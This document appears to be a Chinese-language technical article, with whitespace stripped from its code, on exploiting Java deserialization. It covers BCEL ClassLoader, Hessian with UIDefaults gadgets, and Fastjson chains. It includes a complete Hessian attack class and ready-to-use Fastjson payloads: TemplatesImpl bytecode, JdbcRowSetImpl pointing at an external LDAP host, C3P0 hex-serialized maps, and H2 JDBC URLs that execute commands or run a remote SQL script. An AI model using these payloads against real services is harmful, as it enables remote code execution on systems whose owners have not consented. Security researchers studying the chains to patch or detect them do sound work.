privatestaticjava.lang.ClassLoadergetClassLoader(){Strings=SecuritySupport.getSystemProperty("bcel.classloader");if((s ==null) ||"".equals(s))s ="com.sun.org.apache.bcel.internal.util.ClassLoader";try{return(java.lang.ClassLoader)Class.forName(s).newInstance();}catch(Exception e) {thrownewRuntimeException(e.toString());}}publicJavaWrapper(java.lang.ClassLoader loader){this.loader = loader;}publicJavaWrapper(){this(getClassLoader());}publicstaticvoid_main(String[] argv)throwsException {/ Expects class name as first argument, other arguments are by-passed./if(argv.length ==0) {System.out.println("Missing class name.");return;}Stringclass_name=argv[0];String[] new_argv =newString[argv.length -1];System.arraycopy(argv,1, new_argv,0, new_argv.length);JavaWrapperwrapper=newJavaWrapper();wrapper.runMain(class_name, new_argv);}
loader属性默认为BCEL Classloader,_main方法为static方法然后调用runMain方法,在runMain方法中先通过BCEL Classloader loadClass,然后会调用_main(String[] argv)方法。
publicvoidrunMain(String class_name, String[] argv)throwsClassNotFoundException{Classcl=loader.loadClass(class_name);Methodmethod=null;try{method = cl.getMethod("_main",newClass[] { argv.getClass() });/ Method _main is sane ?/intm=method.getModifiers();Classr=method.getReturnType();if(!(Modifier.isPublic(m) && Modifier.isStatic(m)) ||Modifier.isAbstract(m) || (r != Void.TYPE))thrownewNoSuchMethodException();}catch(NoSuchMethodException no) {System.out.println("In class "+ class_name +": public static void _main(String[] argv) is not defined");return;}try{method.invoke(null,newObject[] { argv });}catch(Exception ex) {ex.printStackTrace();}}
BCEL ClassLoader也是在漏洞利用常用的一个类,特点是这个classloader在loadClass时能够通过classname生成类,所以loadClass就能执行任意代码,缺点是在8u251之后这个classloader被jdk移除。
protectedClassloadClass(String class_name,booleanresolve)throwsClassNotFoundException{Classcl=null;/ First try: lookup hash table./if((cl=(Class)classes.get(class_name)) ==null) {/ Second try: Load system class using system class loader. You better don't mess around with them./for(inti=0; i < ignored_packages.length; i++) {if(class_name.startsWith(ignored_packages[i])) {cl = deferTo.loadClass(class_name);break;}}if(cl ==null) {JavaClassclazz=null;/ Third try: Special request?*/if(class_name.indexOf("$$BCEL$$") >=0)clazz = createClass(class_name);else{// Fourth try: Load classes via repositoryif ((clazz = repository.loadClass(class_name)) != null) {clazz = modifyClass(clazz);}elsethrow new ClassNotFoundException(class_name);}if(clazz != null) {byte[] bytes = clazz.getBytes();cl = defineClass(class_name, bytes, 0, bytes.length);} else // Fourth try: Use default class loadercl = Class.forName(class_name);}if(resolve)resolveClass(cl);}classes.put(class_name, cl);return cl;}
com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename
publicstaticvoidwriteBytesToFilename(String filename,byte[] bytes){FileOutputStreamfos=null;try{if(filename !=null&& bytes !=null) {Filef=newFile(filename);fos =newFileOutputStream(f);fos.write(bytes);fos.close();}else{if(log.isLoggable(java.util.logging.Level.FINE)) {log.log(java.util.logging.Level.FINE,"writeBytesToFilename got null byte[] pointed");}}}catch(IOException ex) {if(fos !=null) {try{fos.close();}catch(IOException ioe) {if(log.isLoggable(java.util.logging.Level.FINE)) {log.log(java.util.logging.Level.FINE, ioe.getMessage(), ioe);}}}}}
一个比较简单的任意文件写,但是如果是FatJar或者不知道Web路径的状态下依然比较难用。可以配合落地文件后,XSLT解析实现代码执行。
com.sun.org.apache.xalan.internal.xslt.Process#_main
packagecom.sun.org.apache.xalan.internal.xslt;/* The main() method handles the Xalan command-line interface.@xsl.usage general/publicclassProcess{publicstaticvoid_main(String argv[]){stylesheet = tfactory.newTemplates(newStreamSource(xslFileName));......transformer.transform(newSAXSource(reader,newInputSource(inFileName)),strResult);
通过落地一个XSLT文件,然后加载这个文件,实现代码执行。
jdk里能用的还有sun.reflect.misc.MethodUtil#invoke,但是偶尔会把jvm打崩,用得比较少。除了这些jdk里自带的,还能针对一些第三方包进行利用。需要注意的是SwingLazyValue反射加载类时,Class var2 = Class.forName(this.className, true, (ClassLoader)null);,指定了classloader为null,使用了系统类加载器导致无法加载到web下的jar包。
if(table ==null|| !((cl = table.get("ClassLoader"))instanceofClassLoader)) {cl =Thread.currentThread().getContextClassLoader();if(cl ==null) {// Fallback to the system class loader.cl = ClassLoader.getSystemClassLoader();}}ReflectUtil.checkPackageAccess(className);c = Class.forName(className, true, (ClassLoader)cl);
javax.swing.UIDefaults.ProxyLazyValue的createValue方法中,反射时使用的classloader是Thread.currentThread().
getContextClassLoader();。
因为第三方包的利用链比较多,列举一个用得比较多的spring。
org.springframework.util.SerializationUtils#deserialize
@NullablepublicstaticObjectdeserialize(@Nullablebyte[] bytes){if(bytes ==null) {returnnull;}else{try{ObjectInputStreamois=newObjectInputStream(newByteArrayInputStream(bytes));Throwablevar2=null;Object var3;try{var3 = ois.readObject();}catch(Throwable var14) {var2 = var14;throwvar14;}finally{if(ois !=null) {if(var2 !=null) {try{ois.close();}catch(Throwable var13) {var2.addSuppressed(var13);}}else{ois.close();}}}returnvar3;}catch(IOException var16) {IOExceptionex=var16;thrownewIllegalArgumentException("Failed to deserialize object", ex);}catch(ClassNotFoundException var17) {ClassNotFoundExceptionex=var17;thrownewIllegalStateException("Failed to deserialize object type", ex);}}}
通过deserialize打原生反序列化,再通过Jackson利用链执行代码。
攻击代码如下:
importcom.caucho.hessian.io.Hessian2Input;importcom.caucho.hessian.io.Hessian2Output;importjavax.swing.*;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.lang.reflect.Array;importjava.lang.reflect.Constructor;importjava.util.ArrayList;importjava.util.HashMap;importjava.util.Hashtable;importjava.util.Map;publicclassTest3{publicstaticMapmakeHessianDeserMap(ArrayList hashtableList)throwsException {if(hashtableList.size() %2!=0){returnnull;}HashMap s =newHashMap();Reflections.setFieldValue(s,"size",3);Class<?> nodeC;try{nodeC = Class.forName("java.util.HashMap$Node");}catch(ClassNotFoundException e) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Objecttbl=Array.newInstance(nodeC, hashtableList.size());for(inti=0; i < hashtableList.size(); i++) {Array.set(tbl, i, nodeCons.newInstance(0, hashtableList.get(i), hashtableList.get(i),null));}Reflections.setFieldValue(s,"table", tbl);returns;}publicstaticvoidwrapHessianHashtable(Object value, ArrayList hashtableList)throwsException {Reflections.setFieldValue(value,"acc",null);Object[] keyValueList =newObject[]{"ddd", value};UIDefaultsuiDefaults1=newUIDefaults(keyValueList);UIDefaultsuiDefaults2=newUIDefaults(keyValueList);Hashtable hashtable =newHashtable();hashtable.put("a", uiDefaults1);Hashtable hashtable1 =newHashtable();hashtable1.put("a", uiDefaults2);hashtableList.add(hashtable);hashtableList.add(hashtable1);}publicstaticvoidmain(String[] args)throwsException {UIDefaults.ProxyLazyValuevalue=newUIDefaults.ProxyLazyValue("org.springframework.util.SerializationUtils","deserialize",newObject[]{"".getBytes()});ArrayListhashtableList=newArrayList();wrapHessianHashtable(value, hashtableList);Mapmap=makeHessianDeserMap(hashtableList);ByteArrayOutputStreambos=newByteArrayOutputStream();Hessian2Outputhessian2Output=newHessian2Output(bos);hessian2Output.getSerializerFactory().setAllowNonSerializable(true);hessian2Output.writeObject(map);hessian2Output.flush();hessian2Output.close();Hessian2Inputhessian2Input=newHessian2Input(newByteArrayInputStream(bos.toByteArray()));hessian2Input.readObject();}}
JSON 反序列化
基础介绍
JSON 反序列化是将 JSON 格式的字符串转换为编程语言中的数据结构(如对象、数组等)的过程。JSON是一种轻量级的数据交换格式,广泛用于 Web 应用中进行数据传输。在反序列化过程中,JSON 字符串中的数据根据预定义的结构被解析并转化为对应的内存对象,供程序进行处理和操作。
在 Java 中,大家听过的最多的JSON反序列化漏洞肯定是FASTJSON。Fastjson 通过将 JSON 字符串转换为 Java 对象来实现反序列化,通过@type可以指定反序列化对象。
利用剖析
1.2.24版本
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
publicfinalObjectparseObject(Mapobject,ObjectfieldName) {..............if(key ==JSON.DEFAULT_TYPE_KEY&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {ref = lexer.scanSymbol(this.symbolTable,'"');Class<?> clazz =TypeUtils.loadClass(ref,this.config.getDefaultClassLoader());if(clazz !=null) {.........ObjectDeserializerdeserializer =this.config.getDeserializer(clazz);if(deserializerinstanceofJavaBeanDeserializer) {instance = ((JavaBeanDeserializer)deserializer).createInstance(this, clazz);}}
如果json的key为@type,就会识别出下一个符号作为value然后使用TypeUtils.loadClass加载类。TypeUtils.loadClass中首先尝试从mappings中获取到该类,如果没有就会从当前线程的classloader尝试加载对应的类。也可以看到在这里也会尝试移除L;[等字符后再尝试加载类,这个是后面绕过黑名单的一些方法。
publicstatic Class<?> loadClass(String className, ClassLoader classLoader) {if(className !=null&& className.length() !=0) {Class<?> clazz = (Class)mappings.get(className);if(clazz !=null) {returnclazz;}elseif(className.charAt(0) =='[') {Class<?> componentType = loadClass(className.substring(1), classLoader);returnArray.newInstance(componentType,0).getClass();}elseif(className.startsWith("L") && className.endsWith(";")) {String newClassName = className.substring(1, className.length() -1);returnloadClass(newClassName, classLoader);}else{try{if(classLoader !=null) {clazz = classLoader.loadClass(className);mappings.put(className, clazz);returnclazz;}}catch(Throwable var6) {Throwable e = var6;e.printStackTrace();}try{ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();if(contextClassLoader !=null) {clazz = contextClassLoader.loadClass(className);mappings.put(className, clazz);returnclazz;}}catch(Throwable var5) {}try{clazz = Class.forName(className);mappings.put(className, clazz);returnclazz;}catch(Throwable var4) {returnclazz;}}}else{returnnull;}}
加载到类后,会根据不同的类选择不同的反序列器。
publicJavaBeanDeserializer(ParserConfig config, Class<?> clazz, Type type){this(config, JavaBeanInfo.build(clazz, type, config.propertyNamingStrategy));}
JavaBeanDeserializer反序列化器中,会调用JavaBeanInfo.build方法为指定的 Java 类构建元数据信息,以便在 JSON 序列化和反序列化时,快速获取类的字段、方法、注解等关键信息。在build方法中,会将有jsonfield注解或者存在setter方法的加入到fieldlist中。
publicstaticJavaBeanInfobuild(Class<?> clazz, Typetype, PropertyNamingStrategy propertyNamingStrategy) {JSONType jsonType = (JSONType)clazz.getAnnotation(JSONType.class);Class<?> builderClass =getBuilderClass(jsonType);Field[] declaredFields = clazz.getDeclaredFields();Method[] methods = clazz.getMethods();.................Method[] var30 = methods;int var29 = methods.length;Methodmethod;for(i =0; i < var29; ++i) {method = var30[i];ordinal =0;int serialzeFeatures =0;parserFeatures =0;StringmethodName = method.getName();if(methodName.length() >=4&& !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {Class<?>[] types = method.getParameterTypes();if(types.length==1) {annotation = (JSONField)method.getAnnotation(JSONField.class);if(annotation ==null) {annotation =TypeUtils.getSuperMethodAnnotation(clazz, method);}if(annotation !=null) {if(!annotation.deserialize()) {continue;}ordinal = annotation.ordinal();serialzeFeatures =SerializerFeature.of(annotation.serialzeFeatures());parserFeatures =Feature.of(annotation.parseFeatures());if(annotation.name().length() !=0) {methodName = annotation.name();add(fieldList,newFieldInfo(methodName, method, (Field)null, clazz,type, ordinal, serialzeFeatures, parserFeatures, annotation, (JSONField)null, (String)null));continue;}}if(methodName.startsWith("set")) {c3 = methodName.charAt(3);StringpropertyName;if(!Character.isUpperCase((char)c3) && c3 <=512) {if(c3 ==95) {propertyName = methodName.substring(4);}elseif(c3 ==102) {propertyName = methodName.substring(3);}else{if(methodName.length() <5|| !Character.isUpperCase(methodName.charAt(4))) {continue;}propertyName =TypeUtils.decapitalize(methodName.substring(3));}}elseif(TypeUtils.compatibleWithJavaBean) {propertyName =TypeUtils.decapitalize(methodName.substring(3));}else{propertyName =Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);}Fieldfield =TypeUtils.getField(clazz, propertyName, declaredFields);if(field ==null&& types[0] ==Boolean.TYPE) {isFieldName ="is"+Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);field =TypeUtils.getField(clazz, isFieldName, declaredFields);}JSONField fieldAnnotation =null;if(field !=null) {fieldAnnotation = (JSONField)field.getAnnotation(JSONField.class);if(fieldAnnotation !=null) {if(!fieldAnnotation.deserialize()) {continue;}ordinal = fieldAnnotation.ordinal();serialzeFeatures =SerializerFeature.of(fieldAnnotation.serialzeFeatures());parserFeatures =Feature.of(fieldAnnotation.parseFeatures());if(fieldAnnotation.name().length() !=0) {propertyName = fieldAnnotation.name();add(fieldList,newFieldInfo(propertyName, method, field, clazz,type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));continue;}}}if(propertyNamingStrategy !=null) {propertyName = propertyNamingStrategy.translate(propertyName);}add(fieldList,newFieldInfo(propertyName, method, field, clazz,type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));}}}}
生成完类的信息后,createInstance方法中,通过反射实例化反序列化的类。
publicObjectcreateInstance(DefaultJSONParser parser, Typetype) {if(typeinstanceofClass&&this.clazz.isInterface()) {Class<?> clazz = (Class)type;ClassLoaderloader =Thread.currentThread().getContextClassLoader();JSONObjectobj =newJSONObject();Objectproxy =Proxy.newProxyInstance(loader,newClass[]{clazz}, obj);returnproxy;}elseif(this.beanInfo.defaultConstructor==null) {returnnull;}else{Objectobject;try{Constructor<?> constructor =this.beanInfo.defaultConstructor;if(this.beanInfo.defaultConstructorParameterSize==0) {object= constructor.newInstance();}else{ParseContextcontext = parser.getContext();StringparentName = context.object.getClass().getName();StringtypeName ="";if(typeinstanceofClass) {typeName = ((Class)type).getName();}if(parentName.length() != typeName.lastIndexOf(36) -1) {char[] typeChars = typeName.toCharArray();StringBuilderclsNameBuilder =newStringBuilder();clsNameBuilder.append(parentName).append("$");Map outterCached =newHashMap();outterCached.put(parentName, context.object);for(int i = parentName.length() +1; i <= typeName.lastIndexOf(36); ++i) {char thisChar = typeChars[i];if(thisChar =='$') {StringclsName = clsNameBuilder.toString();Objectoutter = outterCached.get(parentName);try{Class<?> clazz =Class.forName(parentName);if(outter !=null) {Class<?> innerCls =Class.forName(clsName);Constructor<?> innerClsConstructor = innerCls.getDeclaredConstructor(clazz);if(!innerClsConstructor.isAccessible()) {innerClsConstructor.setAccessible(true);}Objectinner = innerClsConstructor.newInstance(outter);outterCached.put(clsName, inner);parentName = clsName;}}catch(ClassNotFoundExceptionvar20) {thrownewJSONException("unable to find class "+ parentName);}catch(NoSuchMethodExceptionvar21) {thrownewRuntimeException(var21);}catch(InvocationTargetExceptionvar22) {thrownewRuntimeException("can not instantiate "+ clsName);}catch(IllegalAccessExceptionvar23) {thrownewRuntimeException(var23);}catch(InstantiationExceptionvar24) {InstantiationExceptione = var24;thrownewRuntimeException(e);}}clsNameBuilder.append(thisChar);}object= constructor.newInstance(outterCached.get(parentName));}else{object= constructor.newInstance(context.object);}}}catch(Exceptionvar25) {Exceptione = var25;thrownewJSONException("create instance error, class "+this.clazz.getName(), e);}if(parser !=null&& parser.lexer.isEnabled(Feature.InitStringFieldAsEmpty)) {FieldInfo[] var28 =this.beanInfo.fields;int var30 = var28.length;for(int var32 =0; var32 < var30; ++var32) {FieldInfofieldInfo = var28[var32];if(fieldInfo.fieldClass==String.class) {try{fieldInfo.set(object,"");}catch(Exceptionvar19) {thrownewJSONException("create instance error, class "+this.clazz.getName(), var19);}}}}returnobject;}}
生成完类的实例后,开始恢复Field,在parseField方法中,如果解析时配置了SupportNonPublicField功能那么就可以直接通过反射的方式设置私有Field的值。
publicbooleanparseField(DefaultJSONParser parser,Stringkey,Objectobject, Type objectType,Map fieldValues) {JSONLexer lexer = parser.lexer;FieldDeserializerfieldDeserializer =this.smartMatch(key);int mask =Feature.SupportNonPublicField.mask;if(fieldDeserializer ==null&& (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures& mask) !=0)) {if(this.extraFieldDeserializers==null) {ConcurrentHashMapextraFieldDeserializers =newConcurrentHashMap(1,0.75F,1);Field[] fields =this.clazz.getDeclaredFields();Field[] var11 = fields;int var12 = fields.length;for(int var13 =0; var13 < var12; ++var13) {Fieldfield = var11[var13];StringfieldName = field.getName();if(this.getFieldDeserializer(fieldName) ==null) {int fieldModifiers = field.getModifiers();if((fieldModifiers &16) ==0&& (fieldModifiers &8) ==0) {extraFieldDeserializers.put(fieldName, field);}}}this.extraFieldDeserializers= extraFieldDeserializers;}ObjectdeserOrField =this.extraFieldDeserializers.get(key);if(deserOrField !=null) {if(deserOrFieldinstanceofFieldDeserializer) {fieldDeserializer = (FieldDeserializer)deserOrField;}else{Fieldfield = (Field)deserOrField;field.setAccessible(true);FieldInfofieldInfo =newFieldInfo(key, field.getDeclaringClass(), field.getType(), field.getGenericType(), field,0,0,0);fieldDeserializer =newDefaultFieldDeserializer(parser.getConfig(),this.clazz, fieldInfo);this.extraFieldDeserializers.put(key, fieldDeserializer);}}}if(fieldDeserializer ==null) {if(!lexer.isEnabled(Feature.IgnoreNotMatch)) {thrownewJSONException("setter not found, class "+this.clazz.getName() +", property "+ key);}else{parser.parseExtra(object, key);returnfalse;}}else{lexer.nextTokenWithColon(((FieldDeserializer)fieldDeserializer).getFastMatchToken());((FieldDeserializer)fieldDeserializer).parseField(parser,object, objectType, fieldValues);returntrue;}}
如果没有设置SupportNonPublicField,正常调用setValue方法恢复Field,这里尝试通过fieldInfo的method方法进行恢复,这里的fieldinfo method就是在JavaBeanInfo.build中获取到的,就是setter方法。
publicvoid setValue(Objectobject, Object value) {if(value !=null|| !this.fieldInfo.fieldClass.isPrimitive()) {try{Method method =this.fieldInfo.method;if(method !=null) {if(this.fieldInfo.getOnly) {if(this.fieldInfo.fieldClass == AtomicInteger.class) {AtomicInteger atomic = (AtomicInteger)method.invoke(object);if(atomic !=null) {atomic.set(((AtomicInteger)value).get());}}elseif(this.fieldInfo.fieldClass == AtomicLong.class) {AtomicLong atomic = (AtomicLong)method.invoke(object);if(atomic !=null) {atomic.set(((AtomicLong)value).get());}}elseif(this.fieldInfo.fieldClass == AtomicBoolean.class) {AtomicBoolean atomic = (AtomicBoolean)method.invoke(object);if(atomic !=null) {atomic.set(((AtomicBoolean)value).get());}}elseif(Map.class.isAssignableFrom(method.getReturnType())) {Map map = (Map)method.invoke(object);if(map !=null) {map.putAll((Map)value);}}else{Collection collection = (Collection)method.invoke(object);if(collection !=null) {collection.addAll((Collection)value);}}}else{method.invoke(object, value);}
利用方式发展
Templatesimpl
<=1.2.24
这是最开始出现的利用方式,通过给Templatesimpl设置上_bytecodes属性,然后触发getter方法实现RCE。但是_bytecodes没有对应的setter方法,在利用分析中提到了,如果目标类中私有属性没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数。
所以需要目标代码加上这个配置才能够利用,在实际场景中基本碰不到这个配置。
JSON.parseObject(text1,Object.class,Feature.SupportNonPublicField);
利用如下:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66xx"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}
正常来说反序列化时只能调用到setter方法,TemplatesImpl为什么能触发到getter方法,在JavaBeanInfo.build方法中,解析方法时也会判断是否存在get方法,但是会限制返回类型,刚好getOutputProperties的返回类型为Properties,属于map所以最后也能触发到getOutputProperties方法。
for(i =0; i < var29; ++i) {method = var30[i];String methodName = method.getName();if(methodName.length() >=4&& !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length ==0&& (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class== method.getReturnType() || AtomicInteger.class== method.getReturnType() || AtomicLong.class== method.getReturnType())) {JSONFieldannotation= (JSONField)method.getAnnotation(JSONField.class);if(annotation==null|| !annotation.deserialize()) {String propertyName;if(annotation!=null&&annotation.name().length() >0) {propertyName =annotation.name();}else{propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);}
JNDI RCE
在FastJSON反序列化漏洞出现时,刚好JNDI的攻击面也被发现不久。
packagecom.sun.rowset;publicclassJdbcRowSetImplextendsBaseRowSetimplementsJdbcRowSet,Joinable{publicvoid setAutoCommit(boolean var1) throws SQLException {if(this.conn !=null) {this.conn.setAutoCommit(var1);}else{this.conn =this.connect();this.conn.setAutoCommit(var1);}}privateConnection connect() throws SQLException {if(this.conn !=null) {returnthis.conn;}elseif(this.getDataSourceName() !=null) {try{InitialContext var1 = new InitialContext();DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());returnthis.getUsername() !=null&& !this.getUsername().equals("") ? var2.getConnection(this.getUsername(),this.getPassword()) : var2.getConnection();}catch(NamingException var3) {thrownew SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());}}else{returnthis.getUrl() !=null? DriverManager.getConnection(this.getUrl(),this.getUsername(),this.getPassword()) :null;}}}
因为FastJSON在反序列化时会触发setter,所以这里就不再需要Fastjson解析的时候做任何其他的配置了,在JdbcRowSetImpl的setAutoCommit方法中,调用了connect,connect中进行了lookup JNDI查询,所以借此实现了JNDI注入。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://39.108.232.59:1389/Exploit","autoCommit":true}
getter
正常来说,Fastjson在反序列化时只会调用setter方法,前面提到了能调用部分getter方法(对返回类型等存在限制)。后续大家发现在Fastjson反序列化时也能触发getter,这样就成功的扩大了攻击面,目前常用的有两种从setter到getter到方式。
JSONObject
在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject中,
if(object.getClass() ==JSONObject.class) {key = key ==null?"null": key.toString();}
如果反序列化的类是JSONObject,则会调用JSONObject的toString方法,在toString方法中会进行一次序列化操作,所以肯定会调用到getter方法,所以这里将我们需要getter的对象放到jsonobject中。
String js = "{{\"@type\": \"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"Person\"}}:\"dd\"}";
$ref
使用$ref后,会新增任务,
if(key =="$ref"&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {.....................if("..".equals(ref)) {if(context.object!=null) {refValue = context.object;}else{this.addResolveTask(newResolveTask(context,ref));this.setResolveStatus(1);}break;}if(!"$".equals(ref)) {this.addResolveTask(newResolveTask(context,ref));this.setResolveStatus(1);break;}for(rootContext = context; rootContext.parent !=null; rootContext = rootContext.parent) {}if(rootContext.object!=null) {refValue = rootContext.object;}else{this.addResolveTask(newResolveTask(rootContext,ref));this.setResolveStatus(1);}break;}
后续对任务进行处理,为了获取到对应的引用,会进行JSONPath处理,最终会调用到对应的getter方法获取到引用值。
publicvoidhandleResovleTask(Objectvalue){if(this.resolveTaskList !=null) {inti =0;for(intsize =this.resolveTaskList.size(); i < size; ++i) {ResolveTask task = (ResolveTask)this.resolveTaskList.get(i);Stringref= task.referenceValue;Objectobject=null;if(task.ownerContext !=null) {object= task.ownerContext.object;}Object refValue =ref.startsWith("$") ?this.getObject(ref) : task.context.object;FieldDeserializer fieldDeser = task.fieldDeserializer;if(fieldDeser !=null) {if(refValue !=null&& refValue.getClass() == JSONObject.class&& fieldDeser.fieldInfo !=null&& !Map.class.isAssignableFrom(fieldDeser.fieldInfo.fieldClass)) {Object root =this.contextArray[0].object;refValue = JSONPath.eval(root,ref);}fieldDeser.setValue(object, refValue);}}
com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask
com.alibaba.fastjson.JSONPath#eval
com.alibaba.fastjson.JSONPath$PropertySegement#eval
com.alibaba.fastjson.JSONPath#getPropertyValue
beanSerializer.getFieldValue触发了getter方法。
protectedObjectgetPropertyValue(ObjectcurrentObject,StringpropertyName, long propertyNameHash) {if(currentObject ==null) {returnnull;}elseif(currentObjectinstanceofMap) {Mapmap = (Map)currentObject;Objectval = map.get(propertyName);if(val ==null&& 5614464919154503228L == propertyNameHash) {val = map.size();}returnval;}else{Class<?> currentClass = currentObject.getClass();JavaBeanSerializerbeanSerializer =this.getJavaBeanSerializer(currentClass);if(beanSerializer !=null) {try{returnbeanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash,false);}catch(Exceptionvar20) {thrownewJSONPathException("jsonpath error, path "+this.path+", segement "+ propertyName, var20);}
不出网利用
虽然JNDI注入的利用已经不再需要其他的配置了,但是因为JNDI注入这种利用需要目标服务器能够出网以及可能存在JDK版本限制或本地Classpath有gadget才能够利用,导致了不出网场景下无法利用,所以还需要一些不出网就能利用的利用链,这里列举几个常用的。
C3P0
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource
publicWrapperConnectionPoolDataSource(booleanautoregister){super(autoregister);this.connectionTester = C3P0Registry.getDefaultConnectionTester();this.setUpPropertyListeners();// 设置属性监听器
在构造方法中,开启了一个属性的监听器,
com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
publicsynchronizedvoidsetUserOverridesAsString(String userOverridesAsString)throwsPropertyVetoException {StringoldVal=this.userOverridesAsString;if(!this.eqOrBothNull(oldVal, userOverridesAsString)){this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);}
在setter方法中,如果修改了userOverridesAsString属性值就会触发监听器,
privatevoidsetUpPropertyListeners(){......................if("userOverridesAsString".equals(propName)) {try{WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);}
在监听器方法中,如果修改的是userOverridesAsString属性,就会调用到C3P0ImplUtils.parseUserOverridesAsString方法。
publicstaticMapparseUserOverridesAsString(StringuserOverridesAsString) throwsIOException,ClassNotFoundException{if(userOverridesAsString !=null) {StringhexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() +1, userOverridesAsString.length() -1);byte[] serBytes =ByteUtils.fromHexAscii(hexAscii);returnCollections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
在该方法中,对userOverridesAsString属性值Hex解码后进行了Java原生反序列化。
那么在FastJSON反序列化时,如果classpath下存在C3P0以及一些不需要出网的Gadget(例如Commons-Collections、Commons-Beanutils)就可以实现不出网RCE。当然最优解是直接用前面章节提到的Java原生反序列化新增的几个利用链,FastJSON反序列化肯定存在FastJSON包,所以直接打FastJSON原生反序列化利用链即可。
{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:acedxxxxx;"}
H2
在近两年Java安全中很常用的技术 JDBC Attack,它主要的触发方式就是通过getConnection连接恶意服务或者设置恶意参数实现RCE,getConnection方法也符合getter格式,刚好我们前面提到了fastjson通过jsonobject或者$ref的方式可以触发getter方法,那么可能可以通过FastJSON调用H2的getConnection实现RCE。
org.h2.jdbcx.JdbcDataSource#getConnection
publicConnection getConnection() throws SQLException {this.debugCodeCall(“getConnection”);returnthis.getJdbcConnection(this.userName,StringUtils.cloneCharArray(this.passwordChars));//调用getJdbcConnection}
通过反序列控制url属性后connect触发JDBC Attack,
privateJdbcConnectiongetJdbcConnection(String var1,char[] var2)throwsSQLException {if(this.isDebugEnabled()){this.debugCode("getJdbcConnection("+ quote(var1) +", new char[0]);");}Propertiesvar3=newProperties();var3.setProperty("user", var1);var3.put("password", var2);Connectionvar4=Driver.load().connect(this.url, var3);
能够触发H2 JDBC Attack后,就需要研究如何不出网RCE了,H2常用的RCE姿势 1、RUNSCRIPT 加载远程SQL文件,(利用需出网) jdbc:h2:mem:testdb; INIT=RUNSCRIPT FROM ‘http://VPS/poc.sql'2、Trigger 编译执行Javascript , <>,(仅支持>=1.4.197版本) jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS ‘//javascript java.lang.Runtime.getRuntime().exec(“open -a Calculator.app”)’
3、jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('open -a calculator.app')\;
最终的利用方式:
[{"@type":"java.lang.Class","val":"org.h2.jdbcx.JdbcDataSource"},{"@type":"org.h2.jdbcx.JdbcDataSource","url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\; }'\;CALL EXEC ()\;"},{"$ref":"$[1].connection"}]
文件上传结合
com.alibaba.fastjson.serializer.MiscCodec#deserialize中,FastJSON允许的反序列化类型中包含了Charset,
elseif(clazz == Charset.class) {returnCharset.forName(strVal);}
如果反序列化的类型是Charset,会调用到Charset forname加载这个字符集,
publicstaticCharsetforName(StringcharsetName) {Charsetcs =lookup(charsetName);if(cs !=null)returncs;thrownewUnsupportedCharsetException(charsetName);}
在lookup方法中,会尝试从多个地方加载这个字符集类,然后实例化,lookupExtendedCharset尝试加载扩展的字符集。
privatestaticCharsetlookupExtendedCharset(StringcharsetName) {CharsetProviderecp =ExtendedProviderHolder.extendedProvider;return(ecp !=null) ? ecp.charsetForName(charsetName) :null;}
这里扩展字符集的包名限制了必须为sun.nio.cs.ext,
privateCharset lookup(String var1) {SoftReference var2 = (SoftReference)this.cache.get(var1);if(var2 !=null) {Charset var3 = (Charset)var2.get();if(var3 !=null) {returnvar3;}}String var9 = (String)this.classMap.get(var1);if(var9 ==null) {returnnull;}else{try{Class var4 = Class.forName(this.packagePrefix +"."+ var9,true,this.getClass().getClassLoader());Charset var5 = (Charset)var4.newInstance();this.cache.put(var1, new SoftReference(var5));returnvar5;}catch(ClassNotFoundException var6) {returnnull;}catch(IllegalAccessException var7) {returnnull;}catch(InstantiationException var8) {returnnull;}}}
